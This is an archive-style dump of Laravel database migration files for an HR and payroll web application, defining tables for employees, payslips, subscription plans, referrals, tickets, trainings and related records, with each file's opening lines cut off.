$table->integer('max_users')->default(0);
$table->integer('max_employees')->default(0);
$table->float('storage_limit', 20, 2)->default(0.00);
$table->string('enable_chatgpt')->nullable();
$table->text('description')->nullable();
$table->string('image')->nullable();
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('plans');
}
}
2023_04_19_113655_create_login_details_table.php 0000644 00000001406 15036431632 0014676 0 ustar 00 id();
$table->string('user_id');
$table->string('ip');
$table->string('date');
$table->text('Details');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('login_details');
}
};
2024_04_15_093303_add_referral_code_to_users.php 0000644 00000002536 15036431632 0014715 0 ustar 00 integer('referral_code')->default(0)->after('is_active');
$table->integer('used_referral_code')->default(0)->after('referral_code');
$table->integer('commission_amount')->default(0)->after('used_referral_code');
});
}
if (Schema::hasColumn('users', 'referral_code')) {
$users = DB::table('users')->where('type', 'company')->get();
foreach ($users as $user) {
do {
$code = rand(100000, 999999);
} while (DB::table('users')->where('referral_code', $code)->exists());
DB::table('users')->where('type', 'company')->where('id', $user->id)->update(['referral_code' => $code]);
}
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
//
});
}
};
2020_01_04_072527_create_pay_slips_table.php 0000644 00000002153 15036431632 0014052 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->float('net_payble', 15,2);
$table->string('salary_month');
$table->integer('status');
$table->float('basic_salary', 15,2);
$table->text('allowance');
$table->text('commission');
$table->text('loan');
$table->text('saturation_deduction');
$table->text('other_payment');
$table->text('overtime');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('pay_slips');
}
}
2019_08_19_000000_create_failed_jobs_table.php 0000644 00000001406 15036431632 0014306 0 ustar 00 id();
$table->text('connection');
$table->text('queue');
$table->longText('payload');
$table->longText('exception');
$table->timestamp('failed_at')->useCurrent();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('failed_jobs');
}
}
2022_07_28_035713_create_contract_comments_table.php 0000644 00000001366 15036431632 0015610 0 ustar 00 bigIncrements('id');
$table->unsignedBigInteger('contract_id');
$table->string('user_id');
$table->string('comment');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('contract_comments');
}
}
2024_01_30_050310_add_is_disable_to_plans_table.php 0000644 00000001420 15036431632 0015312 0 ustar 00 integer('is_disable')->default(1)->after('trial_days');
$table->decimal('price', 30, 2)->nullable()->default(0.0)->change();
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('plans', function (Blueprint $table) {
//
});
}
};
2021_06_22_094220_create_landing_page_sections_table.php 0000644 00000002057 15036431632 0016371 0 ustar 00 id();
$table->string('section_name');
$table->integer('section_order')->default(0);
$table->text('content')->nullable();
$table->enum('section_type', ['section-1', 'section-2', 'section-3', 'section-4', 'section-5', 'section-6', 'section-7', 'section-8', 'section-9', 'section-10','section-plan']);
$table->text('default_content');
$table->text('section_demo_image');
$table->text('section_blade_file_name');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('landing_page_sections');
}
}
2019_12_27_090831_create_employees_table.php 0000644 00000003502 15036431632 0014065 0 ustar 00 bigIncrements('id');
$table->integer('user_id');
$table->string('name');
$table->date('dob')->nullable();
$table->string('gender');
$table->string('phone')->nullable();
$table->string('address');
$table->string('email');
$table->string('password');
$table->string('employee_id');
$table->integer('branch_id');
$table->integer('department_id');
$table->integer('designation_id');
$table->string('company_doj')->nullable();
$table->string('documents')->nullable();
$table->string('account_holder_name')->nullable();
$table->string('account_number')->nullable();
$table->string('bank_name')->nullable();
$table->string('bank_identifier_code')->nullable();
$table->string('branch_location')->nullable();
$table->string('tax_payer_id')->nullable();
$table->integer('salary_type')->nullable();
$table->integer('account_type')->nullable();
$table->float('salary', 20, 2)->default(0.00);
$table->integer('is_active')->default('1');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('employees');
}
}
2019_12_31_090637_create_promotions_table.php 0000644 00000001547 15036431632 0014302 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('designation_id');
$table->string('promotion_title');
$table->date('promotion_date');
$table->string('description');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('promotions');
}
}
2019_12_31_103019_create_complaints_table.php 0000644 00000001543 15036431632 0014223 0 ustar 00 bigIncrements('id');
$table->integer('complaint_from');
$table->integer('complaint_against');
$table->string('title');
$table->date('complaint_date');
$table->string('description');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('complaints');
}
}
2020_01_03_084302_create_allowances_table.php 0000644 00000001544 15036431632 0014173 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('allowance_option');
$table->string('title');
$table->float('amount', 15,2);
$table->string('type')->nullable();
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('allowances');
}
}
2020_01_06_124036_create_transfer_balances_table.php 0000644 00000001766 15036431632 0015527 0 ustar 00 bigIncrements('id');
$table->integer('from_account_id');
$table->integer('to_account_id');
$table->date('date');
$table->float('amount', 15,2);
$table->integer('payment_type_id');
$table->string('referal_id')->nullable();
$table->text('description')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('transfer_balances');
}
}
2024_01_23_060449_add_trial_expire_date_to_users_table.php 0000644 00000001404 15036431632 0016746 0 ustar 00 date('trial_expire_date')->nullable()->after('requested_plan');
$table->integer('trial_plan')->default(0)->after('trial_expire_date');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
//
});
}
};
2020_01_02_110828_create_genrate_payslip_options_table.php 0000644 00000001201 15036431632 0016774 0 ustar 00 bigIncrements('id');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('genrate_payslip_options');
}
}
2020_04_21_115823_create_assets_table.php 0000644 00000001661 15036431632 0013353 0 ustar 00 bigIncrements('id');
$table->string('employee_id');
$table->string('name');
$table->date('purchase_date');
$table->date('supported_date');
$table->float('amount', 20,2)->default(0.00);
$table->text('description')->nullable();
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('assets');
}
}
2020_01_06_090709_create_payment_types_table.php 0000644 00000001263 15036431632 0014755 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('payment_types');
}
}
2020_05_08_023838_create_trainers_table.php 0000644 00000001675 15036431632 0013717 0 ustar 00 bigIncrements('id');
$table->string('branch');
$table->string('firstname');
$table->string('lastname');
$table->string('contact');
$table->string('email');
$table->text('address')->nullable();
$table->text('expertise')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('trainers');
}
}
2020_01_27_052503_create_attendance_employees_table.php 0000644 00000002000 15036431632 0016223 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->date('date');
$table->string('status');
$table->time('clock_in');
$table->time('clock_out');
$table->time('late');
$table->time('early_leaving');
$table->time('overtime');
$table->time('total_rest');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('attendance_employees');
}
}
2020_01_17_051906_create_tickets_table.php 0000644 00000001736 15036431632 0013525 0 ustar 00 bigIncrements('id');
$table->string('title');
$table->integer('employee_id');
$table->string('priority');
$table->date('end_date');
$table->text('description')->nullable();
$table->string('ticket_code');
$table->integer('ticket_created')->default(0);
$table->integer('created_by');
$table->string('status');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('tickets');
}
}
2023_06_28_061829_create_languages_table.php 0000644 00000001245 15036431632 0014037 0 ustar 00 id();
$table->string('code')->nullable();
$table->string('fullName')->nullable();
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('languages');
}
};
2020_05_07_093520_create_company_policies_table.php 0000644 00000001530 15036431632 0015405 0 ustar 00 bigIncrements('id');
$table->integer('branch');
$table->string('title');
$table->text('description');
$table->string('attachment')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('company_policies');
}
}
2020_05_05_061241_create_goal_types_table.php 0000644 00000001313 15036431632 0014206 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('goal_types');
}
}
2019_12_26_101754_create_departments_table.php 0000644 00000001330 15036431632 0014402 0 ustar 00 bigIncrements('id');
$table->integer('branch_id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('departments');
}
}
2019_09_28_102009_create_settings_table.php 0000644 00000001400 15036431632 0013714 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->longText('value');
$table->integer('created_by');
$table->timestamps();
$table->unique(['name', 'created_by']);
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('settings');
}
}
2019_12_28_050508_create_awards_table.php 0000644 00000001502 15036431632 0013340 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->string('award_type');
$table->date('date');
$table->string('gift');
$table->string('description');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('awards');
}
}
2019_12_26_101814_create_designations_table.php 0000644 00000001337 15036431632 0014547 0 ustar 00 bigIncrements('id');
$table->integer('department_id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('designations');
}
}
2020_05_08_043039_create_trainings_table.php 0000644 00000002316 15036431632 0014052 0 ustar 00 bigIncrements('id');
$table->integer('branch');
$table->integer('trainer_option');
$table->integer('training_type');
$table->integer('trainer');
$table->float('training_cost', 15,2)->default(0.00);
$table->integer('employee');
$table->date('start_date');
$table->date('end_date');
$table->text('description')->nullable();
$table->integer('performance')->default(0);
$table->integer('status')->default(0);
$table->text('remarks')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('trainings');
}
}
2020_01_16_090747_create_leave_types_table.php 0000644 00000001323 15036431632 0014374 0 ustar 00 bigIncrements('id');
$table->string('title');
$table->integer('days');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('leave_types');
}
}
2021_03_15_094707_create_jobs_table.php 0000644 00000002504 15036431632 0013015 0 ustar 00 id();
$table->string('title');
$table->text('description')->nullable();
$table->text('requirement')->nullable();
$table->integer('branch')->default(0);
$table->integer('category')->default(0);
$table->text('skill')->nullable();
$table->integer('position')->nullable();
$table->date('start_date')->nullable();
$table->date('end_date')->nullable();
$table->string('status')->nullable();
$table->string('applicant')->nullable();
$table->string('visibility')->nullable();
$table->string('code')->nullable();
$table->string('custom_question')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('jobs');
}
}
2020_01_17_112647_create_ticket_replies_table.php 0000644 00000001536 15036431632 0015063 0 ustar 00 bigIncrements('id');
$table->integer('ticket_id');
$table->integer('employee_id');
$table->string('description');
$table->integer('created_by');
$table->integer('is_read')->default('0');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('ticket_replies');
}
}
2020_01_06_085218_create_deposits_table.php 0000644 00000002006 15036431632 0013701 0 ustar 00 bigIncrements('id');
$table->integer('account_id');
$table->float('amount', 15, 2);
$table->date('date');
$table->integer('income_category_id');
$table->integer('payer_id');
$table->integer('payment_type_id');
$table->string('referal_id')->nullable();
$table->text('description')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('deposits');
}
}
2021_12_24_061634_create_zoom_meetings_table.php 0000644 00000002277 15036431632 0014737 0 ustar 00 id();
$table->string('title')->nullable();
$table->string('meeting_id')->default(0);
$table->string('user_id')->default(0);
$table->string('password')->nullable();
$table->timestamp('start_date')->default(DB::raw('CURRENT_TIMESTAMP(0)'));
$table->integer('duration')->default(0);
$table->text('start_url')->nullable();
$table->string('join_url')->nullable();
$table->string('status')->default('waiting')->nullable();
$table->integer('created_by')->default(0);
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('zoom_meetings');
}
}
2020_01_03_105100_create_other_payments_table.php 0000644 00000001476 15036431632 0015076 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->string('title');
$table->float('amount', 15,2);
$table->string('type')->nullable();
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('other_payments');
}
}
2022_08_10_051439_generate__offer__letter.php 0000644 00000001257 15036431632 0014216 0 ustar 00 id();
$table->string('lang', 100);
$table->text('content');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
2020_01_06_070037_create_payers_table.php 0000644 00000001323 15036431632 0013344 0 ustar 00 bigIncrements('id');
$table->string('payer_name');
$table->string('contact_number');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('payers');
}
}
2023_05_03_033446_create_notification_templates_table.php 0000644 00000001257 15036431632 0016622 0 ustar 00 id();
$table->string('name');
$table->string('slug')->nullable();
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('notification_templates');
}
};
2024_04_15_092833_create_referral_settings_table.php 0000644 00000001427 15036431632 0015607 0 ustar 00 id();
$table->integer('percentage');
$table->integer('minimum_threshold_amount');
$table->integer('is_enable')->default(0);
$table->longText('guideline');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('referral_settings');
}
};
2024_01_24_054034_add_is_login_enable_to_users_table.php 0000644 00000001250 15036431632 0016364 0 ustar 00 integer('is_login_enable')->default(1)->after('trial_plan');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
//
});
}
};
2022_08_16_050109_joining_letter.php 0000644 00000001242 15036431632 0012373 0 ustar 00 id();
$table->string('lang', 100);
$table->text('content');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
2020_01_16_110357_create_meetings_table.php 0000644 00000001663 15036431632 0013664 0 ustar 00 bigIncrements('id');
$table->integer('branch_id');
$table->longText('department_id');
$table->longText('employee_id');
$table->string('title');
$table->date('date');
$table->time('time');
$table->text('note')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('meetings');
}
}
2024_02_01_064335_add_attachments_to_tickets_table.php 0000644 00000001244 15036431632 0016077 0 ustar 00 string('attachment')->nullable()->after('description');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('tickets', function (Blueprint $table) {
//
});
}
};
2024_04_29_125113_add_biometric_emp_id_to_employees_table.php 0000644 00000001330 15036431632 0017412 0 ustar 00 integer('biometric_emp_id')->nullable()->after('employee_id');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('employees', function (Blueprint $table) {
//
});
}
};
2024_04_15_095510_create_transaction_orders_table.php 0000644 00000001437 15036431632 0015764 0 ustar 00 id();
$table->decimal('req_amount',15,2)->default(0.0);
$table->integer('req_user_id');
$table->integer('status')->default(0);
$table->date('date')->nullable();
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('transaction_orders');
}
};
2021_03_22_122532_create_job_on_boards_table.php 0000644 00000002300 15036431632 0014634 0 ustar 00 id();
$table->integer('application');
$table->date('joining_date')->nullable();
$table->string('status')->nullable();
$table->string('job_type')->nullable();
$table->integer('days_of_week')->nullable();
$table->float('salary', 15, 2)->nullable();
$table->string('salary_type')->nullable();
$table->string('salary_duration')->nullable();
$table->integer('convert_to_employee')->default(0);
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('job_on_boards');
}
}
2019_12_31_062259_create_terminations_table.php 0000644 00000001555 15036431632 0014603 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->date('notice_date');
$table->date('termination_date');
$table->string('termination_type');
$table->longtext('description');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('terminations');
}
}
2024_05_02_051304_add_branch_id_to_designations_table.php 0000644 00000001315 15036431632 0016511 0 ustar 00 integer('branch_id')->nullable()->after('id');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('designations', function (Blueprint $table) {
//
});
}
};
2022_12_09_999999_create_favorites_table.php 0000644 00000001332 15036431632 0014117 0 ustar 00 bigInteger('id');
$table->bigInteger('user_id');
$table->bigInteger('favorite_id');
$table->timestamps();
$table->primary('id');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('ch_favorites');
}
}
2020_05_07_131311_create_training_types_table.php 0000644 00000001313 15036431632 0015075 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('training_types');
}
}
2019_12_28_050919_create_award_types_table.php 0000644 00000001255 15036431632 0014414 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('award_types');
}
}
2020_01_02_103822_create_deduction_options_table.php 0000644 00000001277 15036431632 0015575 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('deduction_options');
}
}
2022_12_09_999999_create_messages_table.php 0000644 00000001625 15036431632 0013731 0 ustar 00 bigInteger('id');
$table->string('type');
$table->bigInteger('from_id');
$table->bigInteger('to_id');
$table->string('body',5000)->nullable();
$table->string('attachment')->nullable();
$table->boolean('seen')->default(false);
$table->timestamps();
$table->primary('id');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('ch_messages');
}
}
2019_12_31_072252_create_travels_table.php 0000644 00000001600 15036431632 0013530 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->date('start_date');
$table->date('end_date');
$table->string('purpose_of_visit');
$table->string('place_of_visit');
$table->string('description');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('travels');
}
}
2014_10_12_100000_create_password_resets_table.php 0000644 00000001253 15036431632 0015252 0 ustar 00 string('email')->index();
$table->string('token');
$table->timestamp('created_at')->nullable();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('password_resets');
}
}
2020_01_02_102558_create_loan_options_table.php 0000644 00000001260 15036431632 0014545 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('loan_options');
}
}
2019_12_31_100319_create_warnings_table.php 0000644 00000001522 15036431632 0013677 0 ustar 00 bigIncrements('id');
$table->integer('warning_to');
$table->integer('warning_by');
$table->string('subject');
$table->date('warning_date');
$table->string('description');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('warnings');
}
}
2022_07_26_054753_create_contract_types_table.php 0000644 00000001313 15036431632 0015122 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('contract_types');
}
}
2022_07_13_085418_create_email_templates_table.php 0000644 00000001437 15036431632 0015233 0 ustar 00 id();
$table->string('name');
$table->string('from')->nullable();
$table->string('slug')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('email_templates');
}
}
2021_03_18_140630_create_interview_schedules_table.php 0000644 00000001670 15036431632 0016124 0 ustar 00 id();
$table->integer('candidate');
$table->integer('employee')->default(0);
$table->date('date');
$table->time('time');
$table->text('comment')->nullable();
$table->string('employee_response')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('interview_schedules');
}
}
2020_03_12_120749_create_user_coupons_table.php 0000644 00000001363 15036431632 0014576 0 ustar 00 bigIncrements('id');
$table->integer('user');
$table->integer('coupon');
$table->string('order')->nullable();
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('user_coupons');
}
}
2023_06_08_094417_create_template_table.php 0000644 00000001406 15036431632 0013700 0 ustar 00 id();
$table->string('template_name');
$table->text('prompt');
$table->string('module');
$table->text('field_json');
$table->integer('is_tone');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('template');
}
};
2020_01_06_121442_create_expenses_table.php 0000644 00000002007 15036431632 0013670 0 ustar 00 bigIncrements('id');
$table->integer('account_id');
$table->float('amount', 15, 2);
$table->date('date');
$table->integer('expense_category_id');
$table->integer('payee_id');
$table->integer('payment_type_id');
$table->string('referal_id')->nullable();
$table->text('description')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('expenses');
}
}
2021_03_17_163107_create_custom_questions_table.php 0000644 00000001375 15036431632 0015502 0 ustar 00 id();
$table->string('question');
$table->string('is_required')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('custom_questions');
}
}
2020_01_24_062752_create_announcement_employees_table.php 0000644 00000001406 15036431632 0016624 0 ustar 00 bigIncrements('id');
$table->integer('announcement_id');
$table->integer('employee_id');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('announcement_employees');
}
}
2024_01_30_094128_add_is_refund_to_orders_table.php 0000644 00000001235 15036431632 0015376 0 ustar 00 integer('is_refund')->default(0)->after('user_id');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('orders', function (Blueprint $table) {
//
});
}
};
2020_05_05_095926_create_goal_trackings_table.php 0000644 00000002222 15036431632 0015050 0 ustar 00 bigIncrements('id');
$table->integer('branch');
$table->integer('goal_type');
$table->date('start_date');
$table->date('end_date');
$table->string('subject')->nullable();
$table->string('rating')->nullable();
$table->string('target_achievement')->nullable();
$table->text('description')->nullable();
$table->integer('status')->default(0);
$table->integer('progress')->default(0);
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('goal_trackings');
}
}